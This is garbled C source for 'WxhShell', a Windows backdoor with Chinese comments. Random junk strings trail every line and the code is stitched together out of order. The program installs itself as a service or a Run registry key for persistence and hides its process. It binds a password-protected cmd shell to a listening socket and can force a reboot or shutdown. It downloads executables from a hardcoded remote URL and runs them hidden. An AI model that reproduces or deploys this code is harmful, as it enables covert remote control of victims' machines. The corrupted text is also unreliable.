    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |&0"N[t  
    else { .%J?T5D  
    closesocket(wsh); St~SiTJU  
    ExitThread(0); T~wZ  
    } Dh!iY0Lz  
    break; },Re5W nl  
    } ^sf[dr;BA  
  // 获取shell 3x(MvW30Lg  
  case 's': { PcNf TB{  
    CmdShell(wsh); r:WgjjA%  
    closesocket(wsh); R[>;_}5">  
    ExitThread(0); 7q2"b?|h  
    break; Zy!)8<Cgm'  
  } tz0Ttu=xH  
  // 退出 n ]6 0  
  case 'x': { wEHAkc)Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w ~L\Ebg  
    CloseIt(wsh); JK:mQ_  
    break; mNnw G);$  
    } qj3bt_F!x  
  // 离开 lEYT{  
  case 'q': { <<W.x)#:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MWn L#!  
    closesocket(wsh); mSk :7ozZ  
    WSACleanup(); v]`A_)[  
    exit(1); \:_.N8"  
    break; q563,s  
        } ?2;n=&ZM  
  } g~^{-6Vg  
  } ot>EnHfV  
\@}$Wjsl  
  // 提示信息 lM|WOmD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @aiLG wh  
} rs 1*H  
  } "k6IV&0 3x  
R26tQbwE  
  return; "$V8y  
} &x0TnW"g  
?CT^Zegmr  
// shell模块句柄 PkCeV]`w  
int CmdShell(SOCKET sock) ssr)f8R#,#  
{ CI~;B  
STARTUPINFO si; SJ~I r#  
ZeroMemory(&si,sizeof(si)); = @Nv:1:r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^;k _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l5y#i7q  
PROCESS_INFORMATION ProcessInfo; _#YHc[Wz  
char cmdline[]="cmd"; q5\LdI2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yu?s5  
  return 0; "<.  
} 5#9Wd9LP  
&zh+:TRm  
// 自身启动模式 Tm:#"h\F  
int StartFromService(void) (E1>}  
{ Q@ )rw0$  
typedef struct -g[*wN8  
{ SAll9W4  
  DWORD ExitStatus; R&=GB\`:a  
  DWORD PebBaseAddress; mZ5K hPvf8  
  DWORD AffinityMask; AINFua4A  
  DWORD BasePriority; @6!y(e8"J]  
  ULONG UniqueProcessId; +&N&D"9A  
  ULONG InheritedFromUniqueProcessId; @aD~YtL"n  
}   PROCESS_BASIC_INFORMATION; [A..<[  
|phWK^   
PROCNTQSIP NtQueryInformationProcess; (Y.$wMB  
<<2b2?a S`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {!g.255+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V\M!]Nnxr  
'y M:W cN  
  HANDLE             hProcess; ^Lfn3.M  
  PROCESS_BASIC_INFORMATION pbi; U_{JM`JY  
CU>K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U)w|GrxX  
  if(NULL == hInst ) return 0; 5G ]#yb74  
RBD7mpd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <9@]|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +#JhhW Zj(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ? -F'0-t4%  
QUw5~n ;-  
  if (!NtQueryInformationProcess) return 0; 8rG&CxI  
w%o4MFK=!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8(_g]u#B;  
  if(!hProcess) return 0; ;=9v mQA  
o27`g\gDR,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zl#&Qm4Ot  
s^t1PfP(,  
  CloseHandle(hProcess); &?g!}Ky \  
CG>2 ,pP,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ihBl",l&Hq  
if(hProcess==NULL) return 0; <:{[Zvl'k  
?a0}^:6  
HMODULE hMod; q\HBAr y  
char procName[255]; 8}#Lo9:,d  
unsigned long cbNeeded; ylxfh(  
}.$ B1%2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -0r "#48(%  
E)_!Hi0<s  
  CloseHandle(hProcess); =+-.5M  
KZ}4<{3  
if(strstr(procName,"services")) return 1; // 以服务启动 So 6cm|{  
!6/IKh`J  
  return 0; // 注册表启动 vzm4  
} E|4XQ|B@  
>T*g'954xF  
// 主模块 n`KXJ?t  
int StartWxhshell(LPSTR lpCmdLine) |AfQ_iT6c  
{ \\G6c4 fC  
  SOCKET wsl; g~H? l3v  
BOOL val=TRUE; ~m|?! ]n  
  int port=0; 0?Wf\7  
  struct sockaddr_in door; QRHm |f9_C  
2[YD&  
  if(wscfg.ws_autoins) Install(); taEMr> /  
4qz{ D"M  
port=atoi(lpCmdLine); ^-;Z8M  
;_\  
if(port<=0) port=wscfg.ws_port; pbvEIa-Y4  
c^WBB$v  
  WSADATA data; %=<NqINM[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?jm2|:  
8oH54bFp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3 <lhoD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k Z[yv  
  door.sin_family = AF_INET; \fR:+rbQ&|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &q}@[ )V4  
  door.sin_port = htons(port); 0S7Isk2W  
+,^M{^%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Ii.tTk  
closesocket(wsl); \q1%d.\X  
return 1; zPkPC}f(O  
} vhEs+ j  
}R5&[hxh4t  
  if(listen(wsl,2) == INVALID_SOCKET) { Odtck9L  
closesocket(wsl); `6sQlCOnF  
return 1; %R"/`N9R,  
} yaYt/?|  
  Wxhshell(wsl); q.QYn.CBZz  
  WSACleanup(); Iw |[*Nu-  
GO3YXO33  
return 0; HPdwx V  
y8S6ZtA}2  
} q<uLBaL_]r  
<~X6D?  
// 以NT服务方式启动 eRy'N|'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GWZXRUc  
{ t8N9/DZ}Q  
DWORD   status = 0; RWQW/Gw x  
  DWORD   specificError = 0xfffffff;  Q<ExfJm  
QGj5\{E_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gq1Y]t|4F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5nq-b@?L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UnF4RF:A2&  
  serviceStatus.dwWin32ExitCode     = 0; VEEeQy  
  serviceStatus.dwServiceSpecificExitCode = 0; {-`OE  
  serviceStatus.dwCheckPoint       = 0; /)4r2x  
  serviceStatus.dwWaitHint       = 0; ,T~5iLKY  
i4r~eneP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^JDV4>S\  
  if (hServiceStatusHandle==0) return; SW'KYzn  
BmF>IQ`M?  
status = GetLastError(); 6i9I 4*'  
  if (status!=NO_ERROR) 2^M+s\p  
{ ^ED>{UiNI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jt r=8OiL  
    serviceStatus.dwCheckPoint       = 0; h1o+7  
    serviceStatus.dwWaitHint       = 0; h#ot)m|I  
    serviceStatus.dwWin32ExitCode     = status;  Ph{+uI  
    serviceStatus.dwServiceSpecificExitCode = specificError; $rYu4^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m8^2k2  
    return; H=RV M  
  } &D w~Jq|  
M%^laf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6lAo`S\)eX  
  serviceStatus.dwCheckPoint       = 0; )9Ojvp=#r:  
  serviceStatus.dwWaitHint       = 0; :uDB3jN[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N,Bs% p#1  
} qM !q,Q  
)II,HT-LY  
// 处理NT服务事件,比如:启动、停止 *)D*iU&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kP@OIhRe  
{ 8|Y^Jn\p5u  
switch(fdwControl) W3rvKqdw5  
{ S IK{GWX  
case SERVICE_CONTROL_STOP: M=`Se&-M  
  serviceStatus.dwWin32ExitCode = 0; S$On$]~\"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2`m_"y  
  serviceStatus.dwCheckPoint   = 0; @il}0  
  serviceStatus.dwWaitHint     = 0; CWYJ<27v{  
  { {[~,q\M[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I|;#VejX  
  } 94@!.11  
  return; yuX 0Y{:I  
case SERVICE_CONTROL_PAUSE: BniVZCct  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {~h\;>  
  break; W)hby`k  
case SERVICE_CONTROL_CONTINUE: Sd6^%YB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #7ZBbq3=  
  break; /n:fxdhe  
case SERVICE_CONTROL_INTERROGATE: rNC3h"i\  
  break; ra2q. H  
}; kl"Cm`b)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )d`$2D&iY  
} !P3|T\|]+  
M0 8Y  
// 标准应用程序主函数 R7E"7"M10  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RR=l&uT  
{ %BLKB%5  
lM,:c.R  
// 获取操作系统版本 [1CxMk~"[  
OsIsNt=GetOsVer(); TaT&x_v^~a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?%ntO]  
x=N;>  
  // 从命令行安装 @R{&>Q:.  
  if(strpbrk(lpCmdLine,"iI")) Install(); cEu98nP  
cfS]C_6d  
  // 下载执行文件 nHjwT5Q+Q  
if(wscfg.ws_downexe) { gMn)<u>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jQ}| ]pj+  
  WinExec(wscfg.ws_filenam,SW_HIDE); sTyGi1  
} /^G+vhlf\  
@CDRbXoFk  
if(!OsIsNt) { #JucOWxjY  
// 如果时win9x,隐藏进程并且设置为注册表启动 '~J6 mojE  
HideProc(); 3)\qt s5  
StartWxhshell(lpCmdLine); _4Pi>  
} Hefqzu  
else {!h[@f4  
  if(StartFromService()) >,vuC4v-  
  // 以服务方式启动 {p iS3xBi  
  StartServiceCtrlDispatcher(DispatchTable); Z4' v  
else g\'84:*J\  
  // 普通方式启动 N2J!7uoQ  
  StartWxhshell(lpCmdLine); 2fB@zF  
a@J :*W  
return 0; B.#0kjA}  
} u*`GIRfWT  
9t1_"{'N1  
74#@F{w  
k<H&4Z)d9  
=========================================== bxq`E!]  
cgOoQP/#  
K? k`U,  
FG\?_G  
%xz02$k  
sNVD"M,  
" h+@t8Q;gGw  
\gpKQt0  
#include <stdio.h> |\t_I~de  
#include <string.h> 0=&]!WRT  
#include <windows.h> l/LUwDI{  
#include <winsock2.h> H#E0S>Jw|  
#include <winsvc.h> Nl _Jp:8s  
#include <urlmon.h> lc7]=,qyF  
qa0Zgn5q  
#pragma comment (lib, "Ws2_32.lib") H l@rS  
#pragma comment (lib, "urlmon.lib") b}*hodzF  
f *vziC<m  
#define MAX_USER   100 // 最大客户端连接数 p?@D'  
#define BUF_SOCK   200 // sock buffer GkFNLM5'  
#define KEY_BUFF   255 // 输入 buffer V-3]h ba,  
?M2@[w8_  
#define REBOOT     0   // 重启 }kDrUnBk  
#define SHUTDOWN   1   // 关机 ntejFy9_  
v( B4Bz2  
#define DEF_PORT   5000 // 监听端口 o ++Hdvai  
C7PiuL?  
#define REG_LEN     16   // 注册表键长度 C2v7(  
#define SVC_LEN     80   // NT服务名长度 H<"j3qt  
_guY%2% yR  
// 从dll定义API (k~c]N)v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +6*I9R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t {}1 f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N}= - +E|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { L5m`-x  
~-/AKaK}  
// wxhshell配置信息 m/AN*` V  
struct WSCFG { O{V"'o  
  int ws_port;         // 监听端口 qDW/8b\^  
  char ws_passstr[REG_LEN]; // 口令 edQ><lz  
  int ws_autoins;       // 安装标记, 1=yes 0=no jG#sVK]  
  char ws_regname[REG_LEN]; // 注册表键名 iVcBD0 q)  
  char ws_svcname[REG_LEN]; // 服务名 X1"nq]chGy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zqkmsFH{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Rh&04O>VL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t JP(eaqZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y (A"g3^=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -E1}mL}I`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \q>,c49a{  
`U R.Rn/x  
}; cg5DyQ(  
` g~-5Z~J  
// default Wxhshell configuration AXCJFqk;  
struct WSCFG wscfg={DEF_PORT, J,7\/O(`A  
    "xuhuanlingzhe", vY6|V$  
    1, xjpW<-)MLf  
    "Wxhshell", 53QP~[F8R]  
    "Wxhshell", :`K;0`C +  
            "WxhShell Service", ,J~dER\%  
    "Wrsky Windows CmdShell Service", /<@tbZJ*8  
    "Please Input Your Password: ", 92i# It}-/  
  1, ~ocr^V{"<~  
  "http://www.wrsky.com/wxhshell.exe", wHmEt ORo  
  "Wxhshell.exe" R)=<q]Ms  
    }; ?:E;C<Ar  
vuf|2!kh/  
// 消息定义模块 D<`X B*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P_gQ-pF.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VWi-)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |8B[yr.b  
char *msg_ws_ext="\n\rExit."; 3]i1M%'i  
char *msg_ws_end="\n\rQuit."; C6`8dn   
char *msg_ws_boot="\n\rReboot..."; RUEU n  
char *msg_ws_poff="\n\rShutdown..."; kL-+V)Kl  
char *msg_ws_down="\n\rSave to "; -Da_#_F  
Sv ,_G'  
char *msg_ws_err="\n\rErr!"; *sTQ9 Kr  
char *msg_ws_ok="\n\rOK!"; ]:;gk&P  
bpzA ' g>  
char ExeFile[MAX_PATH]; gS%J`X$  
int nUser = 0; }73H$ss:  
HANDLE handles[MAX_USER]; ;3!TOY"j;e  
int OsIsNt; PJLA^eC7>  
"7g: u-  
SERVICE_STATUS       serviceStatus; qv:WC TAn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2+enRR~  
,RZktWW_  
// 函数声明 3Wiu`A  
int Install(void); ,oC r6 ]  
int Uninstall(void); 8P .! q  
int DownloadFile(char *sURL, SOCKET wsh); 6Z$T& Ul{  
int Boot(int flag); (n< xoV[e  
void HideProc(void); QMIXz[9w  
int GetOsVer(void); C}!|K0t?  
int Wxhshell(SOCKET wsl); mUjA9[@   
void TalkWithClient(void *cs); p7*\]HyE)  
int CmdShell(SOCKET sock); #&2mu  
int StartFromService(void); tFGLqR%/  
int StartWxhshell(LPSTR lpCmdLine); _]\mh,}  
4avM:h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CB~&!MdMr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FUDM aI  
i@2?5U>h  
// 数据结构和表定义 cIgF]My*D@  
SERVICE_TABLE_ENTRY DispatchTable[] = K46\Rm_:B;  
{ "0 v]O~s  
{wscfg.ws_svcname, NTServiceMain}, =$m|M m[a  
{NULL, NULL} MG~^>  
}; xzy9~))o  
eq"~by[Uq  
// 自我安装 x*YJ :t  
int Install(void) 3}H94H)]a  
{ ua0k)4|  
  char svExeFile[MAX_PATH]; (\Dd9a8V-  
  HKEY key; -X |G  
  strcpy(svExeFile,ExeFile); ON=xn|b4  
`0sa94H1[  
// 如果是win9x系统,修改注册表设为自启动 4Ld0AApncy  
if(!OsIsNt) { Tj>~#~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )q#b^( v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tUt l>>6Iu  
  RegCloseKey(key); U'@_fg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tnp]wZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zRB1V99k  
  RegCloseKey(key); 8Uc#>Ae'_  
  return 0; 50CU|  
    } LaLA }1!  
  } ?bbguwo~F  
} /9 [nogP  
else { ; LTc4t  
.>&kA f.  
// 如果是NT以上系统,安装为系统服务 ')go/y`YK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?+51 B-  
if (schSCManager!=0) rQ/S|gG  
{ e`Yx]3;u(  
  SC_HANDLE schService = CreateService wJ+"JQY.J+  
  ( xHI>CNC,  
  schSCManager, D7 .R NXo  
  wscfg.ws_svcname, @v|_APy#  
  wscfg.ws_svcdisp, 0E bs-kP  
  SERVICE_ALL_ACCESS, VN*^pAzlF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #S QFI;zj  
  SERVICE_AUTO_START, GCc@ :*4[  
  SERVICE_ERROR_NORMAL, w(s"r p}  
  svExeFile, c>I^SY(r%  
  NULL, mw.9cDf  
  NULL, 3q<\ \8Y*  
  NULL, aWW|.#L  
  NULL, rlW  
  NULL 1J^{h5?lU  
  ); -p9|l%W  
  if (schService!=0) RzNv|   
  { {V8 v  
  CloseServiceHandle(schService); LR}b^QU7  
  CloseServiceHandle(schSCManager); ~`T3 i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9QZ;F4 r  
  strcat(svExeFile,wscfg.ws_svcname); Xa+ u>1"2"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *y7^4I-J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h@l5MH=|%  
  RegCloseKey(key); O7:JG[tR*  
  return 0; Haiuf)a  
    } a&|aK+^8;  
  } entO"~*EX  
  CloseServiceHandle(schSCManager); C 2FewsRz  
} s4t>/.;x  
} :rwF5  
"5]GEzM3O  
return 1; ^O4.$4t|  
} WM:we*k8h  
"w=.2A:q  
// 自我卸载 7+=fD|Cl  
int Uninstall(void) ~- JkuRJ\  
{ lY0^Z  
  HKEY key; i9uJ%nd:  
|no '^  
if(!OsIsNt) { *cJ GrLC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9aYCU/3  
  RegDeleteValue(key,wscfg.ws_regname); ,M5J~Ga  
  RegCloseKey(key); T+RfMEdr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;L++H5Kz6  
  RegDeleteValue(key,wscfg.ws_regname); Kp8!^os  
  RegCloseKey(key); W|; .G9  
  return 0; vY:A7yGW  
  } MHk\y2`/;  
} 3\G&fb|?}R  
} T/UhZ4(V  
else { (Z;-u+ }.  
\A Y7%>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~M2w&g;1  
if (schSCManager!=0) g#T8WX{(V  
{ o"J}@nF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S~/zBFo-  
  if (schService!=0) bwS1YGb  
  { *dL!)+:d  
  if(DeleteService(schService)!=0) { X~G!{TT_x6  
  CloseServiceHandle(schService); $-EbJ  
  CloseServiceHandle(schSCManager); MkF:1-=L  
  return 0; D<]z.33  
  } z;x $tO  
  CloseServiceHandle(schService); S zsq|T  
  } ,GA2K .:#  
  CloseServiceHandle(schSCManager); udMDE=1~L  
} U5[xW  
} ^ duNEu0*  
F\ yxXOI  
return 1; "}Of f  
} !Y8us"   
d;daYjOm  
// 从指定url下载文件 T&   
int DownloadFile(char *sURL, SOCKET wsh) 51u8.%{4  
{ l}A8  
  HRESULT hr; .;8T*  
char seps[]= "/"; %+ynrg-  
char *token; _pnJ/YE  
char *file; 3.Oc8(N^}  
char myURL[MAX_PATH]; g@BQ!}_#5  
char myFILE[MAX_PATH]; J*vy-[w  
=X'i^Q  
strcpy(myURL,sURL); y2bL!Y<s9  
  token=strtok(myURL,seps); !ZPaU11  
  while(token!=NULL) a$y=+4L  
  { : " 9F.U  
    file=token; ]L@VpHEj  
  token=strtok(NULL,seps); s_}T -%\  
  } ,|,DXw  
uW3`gwwlU  
GetCurrentDirectory(MAX_PATH,myFILE); 3Sv<Viuo  
strcat(myFILE, "\\"); &'uFy0d,  
strcat(myFILE, file); q$(@  
  send(wsh,myFILE,strlen(myFILE),0); 7@NAky(  
send(wsh,"...",3,0); 7aUk?Hf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {+_ pyL  
  if(hr==S_OK) ^Qt4}V=  
return 0; AL74q[>  
else .H {  
return 1; FIG3P))  
Sp3?I2 o  
} Av:5v3%  
{{7%z4l  
// 系统电源模块 %]S~PKx  
int Boot(int flag) 0!!b(X(  
{ (vMC.y5  
  HANDLE hToken; wg\*FfQn  
  TOKEN_PRIVILEGES tkp; yJkERiJV  
RsIR}.*  
  if(OsIsNt) { B#9rqC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z[[ou?c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cLj@+?/  
    tkp.PrivilegeCount = 1; O:cta/M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c%9wI*l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o7' cC?u  
if(flag==REBOOT) { @.T(\Dq^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v<c~ '?YzO  
  return 0; Bt[OGa(q  
} &(UVS0=Dp,  
else { K<'L7>s3lA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |-GmWSK_  
  return 0; mZDL=p  
} 6Y<'Lyg/  
  } _R-[*ucq  
  else { L5=Tj4`  
if(flag==REBOOT) { {KYbsD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m`l3@ Z  
  return 0; ,y@`wq>O  
} >Ng7q?h   
else { ^_BHgbS%;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JfS:K'  
  return 0; ~?TG SD@(  
} Ta^l1]9.*  
} N% /if  
*vqlY[2Ax  
return 1; `oQ)qa_  
} i j&_>   
@|kBc.(]  
// win9x进程隐藏模块 $Ay j4|_-  
void HideProc(void) o%_MTCANy  
{ 9|#YKO\\i  
ug*#rpb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T 7`9[  
  if ( hKernel != NULL ) ov>Rvy  
  { D.elE:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `vs= CYs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Blv!%es  
    FreeLibrary(hKernel); Z |wM  
  } ^c",!Lp}{  
Mr'P0^^  
return; /Ud<4j-  
} LnZzY0  
{Wp+Y9c[  
// 获取操作系统版本 HPJ\]HV(  
int GetOsVer(void) )vVt{g  
{ 8Yfg@"Tn  
  OSVERSIONINFO winfo; l`D^)~o8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ." 9t<<!  
  GetVersionEx(&winfo); s6Ox!)&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s *$Re)}S  
  return 1; JRQ{Q"`)  
  else 0ant0<  
  return 0; Fr/3Qp@S  
} ? ->:,I=<~  
dm;H0v+Y'  
// 客户端句柄模块 J!r,ktO^U?  
int Wxhshell(SOCKET wsl) (`h$+p^-y  
{ *{/ ww9fT  
  SOCKET wsh; v_-S#(  
  struct sockaddr_in client; + <AD  
  DWORD myID; 3J t_=!qlo  
\z>Re$:  
  while(nUser<MAX_USER) q0|u vt"  
{ GCSR)i|  
  int nSize=sizeof(client); LDDeZY"xd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )wkh  
  if(wsh==INVALID_SOCKET) return 1; X :2%U  
5c50F{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fr{u=0 X  
if(handles[nUser]==0) n^<3E; a  
  closesocket(wsh); ]C.x8(2!f  
else :EOx>Pf_9)  
  nUser++; 3exv k  
  } D4 {?f<G0F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "JI FF_  
5)X;q-  
  return 0; ZI"L\q=|0#  
}  !]]QbB  
S |SN3)  
// 关闭 socket IHqY/j  
void CloseIt(SOCKET wsh) +-_71rJc.  
{ -"J6 |Y#8  
closesocket(wsh); ="E^9!  
nUser--; 3I!xa*u  
ExitThread(0); cI}qMc  
} O^fg~g X  
8\,|T2w,X  
// 客户端请求句柄 A)9[.fhx  
void TalkWithClient(void *cs) yKE[,"  
{ ,>"rcd  
CNwYQe-i  
  SOCKET wsh=(SOCKET)cs; 'u@_4wWp  
  char pwd[SVC_LEN]; .yz-o\,gF%  
  char cmd[KEY_BUFF]; Jh1Q)05  
char chr[1]; Ki#({~  
int i,j; Hg8n`a;R  
hjCFN1 #Sa  
  while (nUser < MAX_USER) { zh5'oE&[yC  
dre@V(\;hQ  
if(wscfg.ws_passstr) { z@!zQ Vp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m)G=4kK52-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RQ?T~ASs  
  //ZeroMemory(pwd,KEY_BUFF); /18Z4TA  
      i=0; R#j -Z#/"  
  while(i<SVC_LEN) { aoNTRJ c$  
2+KOUd&jS  
  // 设置超时 <~aQ_l  
  fd_set FdRead;  _@es9  
  struct timeval TimeOut; K:}~8 P>^  
  FD_ZERO(&FdRead); diXb8L7B;  
  FD_SET(wsh,&FdRead); P'o:Vhm_H  
  TimeOut.tv_sec=8; cG|)z<Z  
  TimeOut.tv_usec=0; !3~VoNh,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bu`8QQ"C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z4S0{:XY  
*"rgK|CM$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OkSJob  
  pwd=chr[0]; Z2z"K<Z W  
  if(chr[0]==0xd || chr[0]==0xa) { Izrf42 >k  
  pwd=0; /Mq]WXq[V  
  break; D>& ;K{!  
  } -fF1vJ7L  
  i++; [~&C6pR  
    } npcB+6  
u Qy5t:!  
  // 如果是非法用户,关闭 socket  & t b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tCnx:1  
} 99XbpP55  
a }6Fj&hj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V>#iR>w_4,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NwQexYm1_  
z-(#Mlq:!  
while(1) { 1_JxDT,=>  
wg6![Uh  
  ZeroMemory(cmd,KEY_BUFF); Lo, z7"8  
hK=\O)  
      // 自动支持客户端 telnet标准    ESOuDD2<  
  j=0; q|PB[*T  
  while(j<KEY_BUFF) { ]:* 8 Mb#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n^QOGT.s6`  
  cmd[j]=chr[0]; bDdJh}Vz  
  if(chr[0]==0xa || chr[0]==0xd) { @\gTi;u/x  
  cmd[j]=0; /EY ^ui  
  break; XOl]s?6H$  
  } ; n2|pC^  
  j++; 3#>;h  
    } ,e"A9ik#  
.y7&!a35  
  // 下载文件 w, 0tY=h6  
  if(strstr(cmd,"http://")) { )"7hyW5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KZ ezA4  
  if(DownloadFile(cmd,wsh)) 3[Pa~]yS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YxMOr\B  
  else ]a% *$TF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T!6H5>zA  
  } oOk.Fq  
  else { j=v1:E  
